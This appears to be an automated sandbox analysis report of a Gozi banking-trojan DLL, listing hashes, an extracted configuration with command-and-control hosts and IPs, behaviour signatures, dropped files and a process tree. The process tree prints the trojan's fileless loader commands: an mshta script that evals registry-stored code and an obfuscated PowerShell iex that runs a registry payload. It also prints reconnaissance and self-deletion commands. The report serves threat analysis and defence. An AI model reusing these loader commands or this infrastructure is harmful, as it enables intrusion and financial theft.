Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2023, 16:15

General

  • Target

    63338a1c62335e2478ca4592fde772ead9637ec24ebd389f92a620c7b2651d2e.dll

  • Size

    300.5MB

  • MD5

    0082d20d486a996d5b1e66fb3969e5aa

  • SHA1

    a29889727a688b9c69427c8f435063a26a273318

  • SHA256

    63338a1c62335e2478ca4592fde772ead9637ec24ebd389f92a620c7b2651d2e

  • SHA512

    d1c57eade5fb5246c2e5c6a24bcc603ba22316bf36c463c7b633a708a4d59cedb9b02fbdba59cf7422b1e98ee12caa4f041cb5c4bb89559ca8c6ec18d09b3b81

  • SSDEEP

    6144:hXkx0TogdFNOXDSGPM7O4TpH7kBFdyZwaLY+em1Sjy2AB41D9UoHUj:hXkmoDTSp73TCEFLY1pdL1D9/0j

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

20007

C2

trackingg-protectioon.cdn4.mozilla.net

185.158.250.165

protectioon.cdn4.mozilla.net

194.76.224.102

185.189.151.14

Attributes
  • base_path

    /fonts/

  • build

    250255

  • exe_type

    loader

  • extension

    .bak

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

20007

C2

trackingg-protectioon.cdn4.mozilla.net

185.158.250.165

79.132.131.235

protectioon.cdn4.mozilla.net

170.130.165.182

194.76.225.197

194.76.224.102

185.189.151.14

Attributes
  • base_path

    /fonts/

  • build

    250255

  • exe_type

    worker

  • extension

    .bak

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3440
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\63338a1c62335e2478ca4592fde772ead9637ec24ebd389f92a620c7b2651d2e.dll,#1
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\63338a1c62335e2478ca4592fde772ead9637ec24ebd389f92a620c7b2651d2e.dll,#1
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        PID:4324
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:2232
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:4112
        • C:\Windows\System32\RuntimeBroker.exe
          C:\Windows\System32\RuntimeBroker.exe -Embedding
          1⤵
            PID:3772
          • C:\Windows\Explorer.EXE
            C:\Windows\Explorer.EXE
            1⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:804
            • C:\Windows\System32\mshta.exe
              "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Igxu='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Igxu).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\EB212225-4E4E-5501-B04F-6259E4F3B69D\\\BookVirtual'));if(!window.flag)close()</script>"
              2⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:4364
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxvvjkglf -value gp; new-alias -name sabpvj -value iex; sabpvj ([System.Text.Encoding]::ASCII.GetString((jxvvjkglf "HKCU:Software\AppDataLow\Software\Microsoft\EB212225-4E4E-5501-B04F-6259E4F3B69D").FolderProcess))
                3⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4208
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q0qstetp\q0qstetp.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1084
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6BD4.tmp" "c:\Users\Admin\AppData\Local\Temp\q0qstetp\CSC7182A83187C14DADB55CBFCD9FAEFCE.TMP"
                    5⤵
                      PID:2408
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wir3sxsr\wir3sxsr.cmdline"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2652
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6CCE.tmp" "c:\Users\Admin\AppData\Local\Temp\wir3sxsr\CSC26E5B873B3C14D448ECCD3F23066F5F6.TMP"
                      5⤵
                        PID:2008
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\63338a1c62335e2478ca4592fde772ead9637ec24ebd389f92a620c7b2651d2e.dll"
                  2⤵
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of WriteProcessMemory
                  PID:1344
                  • C:\Windows\system32\PING.EXE
                    ping localhost -n 5
                    3⤵
                    • Runs ping.exe
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    PID:3184
                • C:\Windows\system32\cmd.exe
                  cmd /C "wmic computersystem get domain |more > C:\Users\Admin\AppData\Local\Temp\EBE4.bin1"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2092
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic computersystem get domain
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2528
                  • C:\Windows\system32\more.com
                    more
                    3⤵
                      PID:1592
                  • C:\Windows\syswow64\cmd.exe
                    "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                    2⤵
                      PID:4844
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EBE4.bin1"
                      2⤵
                        PID:2544
                      • C:\Windows\system32\cmd.exe
                        cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\EBE4.bin1"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:208
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo.exe
                          3⤵
                          • Gathers system information
                          PID:2312
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EBE4.bin1"
                        2⤵
                          PID:1944
                        • C:\Windows\system32\cmd.exe
                          cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\EBE4.bin1"
                          2⤵
                            PID:2732
                            • C:\Windows\system32\net.exe
                              net view
                              3⤵
                              • Discovers systems in the same network
                              PID:2896

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Temp\EBE4.bin1

                                Filesize

                                33B

                                MD5

                                1d0b80729108e13e765fa8b5dbc325b0

                                SHA1

                                155a3f53b166d45c70f4444c2603b6ceb95d4f9e

                                SHA256

                                4078dfa5ba175d50a27b6f7d1eb134da661cf559038b601986bc27beddb3a59b

                                SHA512

                                f3adc98b8a9288f80bf023cb691cf4d8e78fa7fa5e6e22eced1c6dcec9ea0e842fef609a06c92d2cd3d7c572e60aaaa4bb0a5821ab987b53f8ac68561b240b94

                              • C:\Users\Admin\AppData\Local\Temp\EBE4.bin1

                                Filesize

                                2KB

                                MD5

                                1b8cd7fcdf04c98cd645bef0eefb2cf4

                                SHA1

                                cdc096cf188ba6240896cb15c64008446e1bc26e

                                SHA256

                                4d5c6b07f98f91df9f3c52f77ab336ad3c58ed2e58ae70910e386e2dafc1af0b

                                SHA512

                                e43b8da32f4f5c09e0ce7644fd56bc5864cb93b5d195ffe03505a536c784877c0421ffffeea644fb49518ddb76b95684803018af2eb37d3da1ce766ec45d3a49

                              • C:\Users\Admin\AppData\Local\Temp\EBE4.bin1

                                Filesize

                                2KB

                                MD5

                                1b8cd7fcdf04c98cd645bef0eefb2cf4

                                SHA1

                                cdc096cf188ba6240896cb15c64008446e1bc26e

                                SHA256

                                4d5c6b07f98f91df9f3c52f77ab336ad3c58ed2e58ae70910e386e2dafc1af0b

                                SHA512

                                e43b8da32f4f5c09e0ce7644fd56bc5864cb93b5d195ffe03505a536c784877c0421ffffeea644fb49518ddb76b95684803018af2eb37d3da1ce766ec45d3a49

                              • C:\Users\Admin\AppData\Local\Temp\RES6BD4.tmp

                                Filesize

                                1KB

                                MD5

                                2d2bf756ae4c3bcb58f64fdb0b1a86b3

                                SHA1

                                d3bed8129c1c4f63a6151c4acfbe27b3d4011725

                                SHA256

                                de7f99a3727649978aa58ae043c159f2ef832f3e57e584f0d2441c8d564eba82

                                SHA512

                                06fd5e270f66322da9dd7eb964cf02974389eae387e991d076dfa86824ecad4443bf185abe52ef4f9a6793f99c95bc5f438c6ae9599da970954d59e6a820012d

                              • C:\Users\Admin\AppData\Local\Temp\RES6CCE.tmp

                                Filesize

                                1KB

                                MD5

                                e3314aef6101867f045040474361d994

                                SHA1

                                7fee4426539cc14088a21db48cdd1603411989de

                                SHA256

                                2b5039c4d44dcc7758e6e9d783aa5d0fb038224c135089b3eb80bd82789cf987

                                SHA512

                                db4e9f69e8641184e86885dc9ca3eb0d82bf2d259fea95ea2762949be4d333552c29031193a075ab62879faef8ec6e405399b19ed00ef6bbbc29580c32937b06

                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmdq1qgp.ble.ps1

                                Filesize

                                60B

                                MD5

                                d17fe0a3f47be24a6453e9ef58c94641

                                SHA1

                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                SHA256

                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                SHA512

                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                              • C:\Users\Admin\AppData\Local\Temp\q0qstetp\q0qstetp.dll

                                Filesize

                                3KB

                                MD5

                                6f8e06d1ad44febd0d4dfe4a99c5f05e

                                SHA1

                                5f9c158171904a232caf803d24fa4fa7015a4fde

                                SHA256

                                334ac4dae1c1a10e99c62e512bcbeeb106464f174dcad24c92946da84f5c6048

                                SHA512

                                7042f7859cbc236d23b61605fcdae55e0ccab75e644719e6f8d4e23a2e0f5bc78377e88d0e820b0b66e45c066eb2b965abe0bdef2c8a819c4844946dce720cb7

                              • C:\Users\Admin\AppData\Local\Temp\wir3sxsr\wir3sxsr.dll

                                Filesize

                                3KB

                                MD5

                                c8a97f1dc1f5f7d6a4c06d85b571fb6a

                                SHA1

                                df4baab1acfb310fc6902eaf21a10190276911e6

                                SHA256

                                ca3a662c0fcaf789658a69bd384676722dedb108e9b6ca54db9ad416151aaa99

                                SHA512

                                185514736165cb836059519f2624bd7dabbb4e608b8a5bcea81f14b6646804f4bd3283bc21fa2445c34c2cc3d067bbc821b0bfdc6244fbfe12f61599b7026be6

                              • \??\c:\Users\Admin\AppData\Local\Temp\q0qstetp\CSC7182A83187C14DADB55CBFCD9FAEFCE.TMP

                                Filesize

                                652B

                                MD5

                                d6d9d005784a43d7eae3543c940d7d35

                                SHA1

                                6cabd66e35da5e7f8a84bfdf279758088c042ba6

                                SHA256

                                7a7e47da28fa5ffd1bfc22ca42900708d00920bd8b1eb6c52fcf4998cccceadb

                                SHA512

                                7a4829719e015beb891727113e730b462a53017330bdbe47f430486183d87eed63c09130903aed4aec7c256df03542cf61b7f4387ae0980de24459ea501e2696

                              • \??\c:\Users\Admin\AppData\Local\Temp\q0qstetp\q0qstetp.0.cs

                                Filesize

                                410B

                                MD5

                                bd49a7184d9437c2fc1f479f064cd629

                                SHA1

                                cbc187f4d9c71eea6ceef8b6f6584456df0ed97e

                                SHA256

                                d9193d05e3439096314ed9a7b47a04e7afb4eefe34601ad3f21afe7db216742a

                                SHA512

                                2655a3043c23ed39dcb88615084c5897b8ba7c36a19d52d650c6122e7bcfab7056f52c0f7a89131db8972b9285e15e2cbddd4216129df02855ce0ef87da8cce3

                              • \??\c:\Users\Admin\AppData\Local\Temp\q0qstetp\q0qstetp.cmdline

                                Filesize

                                369B

                                MD5

                                651b587b5ceb1707927636685e4ed93d

                                SHA1

                                c5fa9322420b56de83e10579591f7afa993f2c63

                                SHA256

                                bbfed94d61c6f521f827e33e4a8039d1b9fa389e452dc89577f9895609ecac85

                                SHA512

                                a5829cacf2496ffafa76c98628367dfea3ef49fad34d544d89206cdd26ed2154cb509fca46d1f9fb98e4633e25c24b11c94935b6efcc8be160c1436273ac8075

                              • \??\c:\Users\Admin\AppData\Local\Temp\wir3sxsr\CSC26E5B873B3C14D448ECCD3F23066F5F6.TMP

                                Filesize

                                652B

                                MD5

                                a0dd5ccd9606e01c3a69616112a4a084

                                SHA1

                                8921aa75327eaa7f181370a3a2c018281e1a92fc

                                SHA256

                                2ca4f823f27336c0341cc715e839b6ce9addaa579666b8f89c5be5e5e4c54c52

                                SHA512

                                10048f9c972bcb8abf697382fc3881bf11f4f8e4df5c5fd7fdaccda0506726b1877d35653ec934355e7c211e242eeceab709caaaf7dbd06b7f97fd185d406f07

                              • \??\c:\Users\Admin\AppData\Local\Temp\wir3sxsr\wir3sxsr.0.cs

                                Filesize

                                407B

                                MD5

                                f940d18acdc4088474574ab02034b84d

                                SHA1

                                b4a132a7603699cb6faf9fd4057f14d18ed4b83d

                                SHA256

                                01b20e366874c9f04c18819e9076c68e80ae0bcb8354f7b5ae72e3d9f38e1aeb

                                SHA512

                                4d2f49205ab6012e0b5e3a5f12a514550cdbd556b3567626286b26869120ac6ccf3abc08fdd3e975a41c2bac0eddefd03fa262ecc52de03e959c25791432831a

                              • \??\c:\Users\Admin\AppData\Local\Temp\wir3sxsr\wir3sxsr.cmdline

                                Filesize

                                369B

                                MD5

                                7b2ac1280e3cedc1bd1cb9f868ff2e49

                                SHA1

                                00da23403eb0007251f2fe79e231b2bfb42dd9cc

                                SHA256

                                3df138466db767f371e2fbc893a597a02cbeecdd2c19657d5a87b7732cd4ee1f

                                SHA512

                                ea336463ad7e705803c7526a73849e2826e079b703f83f19dab84a9fecb5c4b2d5819745fabdaba90c99155135898eceaa65dac32f7399b327a523afb4f7a150

                              • memory/804-193-0x00000000080F0000-0x0000000008193000-memory.dmp

                                Filesize

                                652KB

                              • memory/804-257-0x00000000080F0000-0x0000000008193000-memory.dmp

                                Filesize

                                652KB

                              • memory/804-234-0x00000000080F0000-0x0000000008193000-memory.dmp

                                Filesize

                                652KB

                              • memory/804-233-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1344-236-0x0000024AE4200000-0x0000024AE42A3000-memory.dmp

                                Filesize

                                652KB

                              • memory/1344-248-0x0000024AE4200000-0x0000024AE42A3000-memory.dmp

                                Filesize

                                652KB

                              • memory/1344-211-0x0000024AE4200000-0x0000024AE42A3000-memory.dmp

                                Filesize

                                652KB

                              • memory/1344-235-0x0000024AE4080000-0x0000024AE4081000-memory.dmp

                                Filesize

                                4KB

                              • memory/2232-242-0x0000016F03410000-0x0000016F034B3000-memory.dmp

                                Filesize

                                652KB

                              • memory/2232-239-0x0000016F03200000-0x0000016F03201000-memory.dmp

                                Filesize

                                4KB

                              • memory/2232-223-0x0000016F03410000-0x0000016F034B3000-memory.dmp

                                Filesize

                                652KB

                              • memory/3184-247-0x000001F225DB0000-0x000001F225E53000-memory.dmp

                                Filesize

                                652KB

                              • memory/3184-241-0x000001F225DB0000-0x000001F225E53000-memory.dmp

                                Filesize

                                652KB

                              • memory/3184-246-0x000001F225B70000-0x000001F225B71000-memory.dmp

                                Filesize

                                4KB

                              • memory/3440-210-0x0000024550AD0000-0x0000024550B73000-memory.dmp

                                Filesize

                                652KB

                              • memory/3440-230-0x0000024550120000-0x0000024550121000-memory.dmp

                                Filesize

                                4KB

                              • memory/3440-232-0x0000024550AD0000-0x0000024550B73000-memory.dmp

                                Filesize

                                652KB

                              • memory/3772-228-0x0000028FC9E40000-0x0000028FC9EE3000-memory.dmp

                                Filesize

                                652KB

                              • memory/3772-226-0x0000028FC9840000-0x0000028FC9841000-memory.dmp

                                Filesize

                                4KB

                              • memory/3772-204-0x0000028FC9E40000-0x0000028FC9EE3000-memory.dmp

                                Filesize

                                652KB

                              • memory/4112-237-0x000001A2A5DB0000-0x000001A2A5DB1000-memory.dmp

                                Filesize

                                4KB

                              • memory/4112-238-0x000001A2A7FA0000-0x000001A2A8043000-memory.dmp

                                Filesize

                                652KB

                              • memory/4112-216-0x000001A2A7FA0000-0x000001A2A8043000-memory.dmp

                                Filesize

                                652KB

                              • memory/4208-153-0x000001ACF0C00000-0x000001ACF0C22000-memory.dmp

                                Filesize

                                136KB

                              • memory/4208-199-0x000001ACF0FA0000-0x000001ACF0FDC000-memory.dmp

                                Filesize

                                240KB

                              • memory/4208-165-0x000001ACF0B50000-0x000001ACF0B60000-memory.dmp

                                Filesize

                                64KB

                              • memory/4208-164-0x000001ACF0B50000-0x000001ACF0B60000-memory.dmp

                                Filesize

                                64KB

                              • memory/4208-163-0x000001ACF0B50000-0x000001ACF0B60000-memory.dmp

                                Filesize

                                64KB

                              • memory/4324-133-0x00000000027A0000-0x00000000037A0000-memory.dmp

                                Filesize

                                16.0MB

                              • memory/4324-139-0x00000000027A0000-0x00000000037A0000-memory.dmp

                                Filesize

                                16.0MB

                              • memory/4324-136-0x0000000015BE0000-0x0000000015BED000-memory.dmp

                                Filesize

                                52KB

                              • memory/4324-135-0x00000000027A0000-0x00000000037A0000-memory.dmp

                                Filesize

                                16.0MB

                              • memory/4324-134-0x0000000015570000-0x0000000015576000-memory.dmp

                                Filesize

                                24KB

                              • memory/4364-152-0x00000276D6D60000-0x00000276D7217000-memory.dmp

                                Filesize

                                4.7MB

                              • memory/4844-250-0x0000000000B60000-0x0000000000BF8000-memory.dmp

                                Filesize

                                608KB

                              • memory/4844-253-0x0000000000B60000-0x0000000000BF8000-memory.dmp

                                Filesize

                                608KB